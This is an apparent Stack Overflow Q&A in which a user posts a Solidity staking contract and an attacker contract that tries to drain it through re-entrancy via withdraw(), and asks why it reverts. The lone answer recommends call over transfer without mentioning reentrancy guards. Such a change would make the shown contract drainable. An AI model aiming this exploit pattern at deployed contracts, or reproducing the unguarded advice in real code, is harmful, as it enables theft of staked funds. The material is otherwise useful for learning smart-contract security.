1

I am constantly getting a revert error while trying to demonstrate a Re-entrancy attack on a staking contract

Here is the staking contract

// SPDX-License-Identifier: MIT

pragma solidity  ^0.8.19;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";

contract Staking is Ownable {
    using SafeMath for uint256;

    struct Investor {
        uint256 stakedAmount;
        uint256 rewardAmount;
        uint256 availableAmount;    
    }
    Investor[] public investors;
    mapping(address => uint256) public investorIndex;

    struct UnstakeRequest {
        address investor;
        uint256 amount;
        bool isApproved;
        uint256 requestTimestamp;
        uint256 approvedTimestamp;
    }
    UnstakeRequest[] unstakeRequests;
    
    address payable walletAddress;

    constructor(address payable _walletAddress) {
        walletAddress = _walletAddress;
    }

    modifier isStaker() {
        require(investorIndex[msg.sender] != 0, "You are not a staker");
        _;
    }

    // Stake
    function stake() external payable {
        require(msg.value > 0);
        
        if (investorIndex[msg.sender] == 0) {
            // New staker
            Investor memory investor = Investor(msg.value, 0, 0);
            investors.push(investor);
            investorIndex[msg.sender] = investors.length;
        } else {
            // Existing staker
            investors[investorIndex[msg.sender] - 1].stakedAmount += msg.value;
        }
        walletAddress.transfer(msg.value);
    }
    receive() external payable {}
    // UnStake
    function unstake(uint256 _amount) external isStaker {
        require(investors[investorIndex[msg.sender] - 1].stakedAmount >= _amount, "No staked amount to withdraw");
        unstakeRequests.push(UnstakeRequest(msg.sender, _amount, false, block.timestamp, 0));
        investors[investorIndex[msg.sender] - 1].stakedAmount -= _amount;
    }

    function approve(uint256 _index) public onlyOwner {
        require(unstakeRequests.length >= _index);
        investors[investorIndex[unstakeRequests[_index].investor] - 1].availableAmount += unstakeRequests[_index].amount;
        unstakeRequests[_index] = UnstakeRequest(msg.sender, unstakeRequests[_index].amount, true, unstakeRequests[_index].requestTimestamp, block.timestamp);
    }

    function withdraw() external payable isStaker {
        require(investors[investorIndex[msg.sender] - 1].availableAmount > 0, "No amount to withdraw");
        console.log("");
        console.log("Current Balance balance: ", address(this).balance);
        payable(msg.sender).transfer(investors[investorIndex[msg.sender] - 1].availableAmount);
        investors[investorIndex[msg.sender] - 1].availableAmount = 0;
    }


    // Reward
    function distributeRewards() public payable onlyOwner {
        require(msg.value > 0);
        require(getTotalStakedAmount() > 0);

        // Calculate reward per token with 18 decimal places of precision
        uint256 rewardPerToken = msg.value.mul(1e18).div(getTotalStakedAmount());

        for (uint256 i = 0; i < investors.length; i++) {
            investors[i].rewardAmount += investors[i].stakedAmount.mul(rewardPerToken).div(1e18);
        }
    }
    
    function claimRewards() public isStaker {
        require(investors[investorIndex[msg.sender] - 1].rewardAmount > 0);
        payable(msg.sender).transfer(investors[investorIndex[msg.sender] - 1].rewardAmount);
        investors[investorIndex[msg.sender] - 1].rewardAmount = 0;
    }

    // View
    function getInvestors(address _address) public view returns (Investor memory) {
        if (investorIndex[_address] == 0) {
            Investor memory investor;
            return investor;
        } else {
            return investors[investorIndex[_address] - 1];
        }
    }

    function getTotalStakedAmount() public view returns (uint256) {
        uint256 totalStakedAmount;
        for (uint256 i = 0; i < investors.length; i++) {
            totalStakedAmount += investors[i].stakedAmount;
        }
        return totalStakedAmount;
    }

    function getUnStakeRequests() public view returns (UnstakeRequest[] memory) {
        return unstakeRequests;
    }


    // Update Wallet
    function changeWalletAddress(address payable _walletAddress) public onlyOwner {
        walletAddress = _walletAddress;
    }
}

Here is the attacker contract trying to exploit the withdraw() function

// SPDX-License-Identifier: MIT

pragma solidity  ^0.8.19;

import "./stake.sol";
import "hardhat/console.sol";

interface IStaker {
    function stake() external payable;
    function withdraw() external payable;
    function unstake(uint256 _amount) external;
}

contract Attack {
    
    IStaker public immutable estaking;

    constructor(address _estaking) payable {
        estaking=IStaker(_estaking);
    }

    receive() external payable{
        if(address(estaking).balance >= 1 ether){
            console.log("reentering...");
            estaking.withdraw();
        }
    }

    function unstaker(uint256 _amount) external{
        estaking.unstake(_amount*(1e18));
    }
    
    function attack() external {
        if(address(estaking).balance >= 1){
        estaking.withdraw();}
    }

    function staker() external payable{
        estaking.stake{value:msg.value}();
    }

    function sendEth() external payable{
        (bool sent,) = address(estaking).call{value: msg.value}("");
        require(sent, "Failed to send Ether");
    }

    function viewBalance() external view returns(uint){
        return address(estaking).balance;
    }

    


}

The error I am getting is enter image description here

1
  • you can remove all unnecessary codes from your question Commented Mar 31, 2023 at 10:17

1 Answer 1

0

To send Ether to other contracts, you can use these three methods:

  1. transfer (2300 gas, throws an error)
  2. send (2300 gas, returns bool)
  3. call (forward all gas or set gas, returns bool)

To ensure successful execution, it's recommended to use call, as transfer and send do not allow you to forward gas, causing the execution to stop when most of the gas is used.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.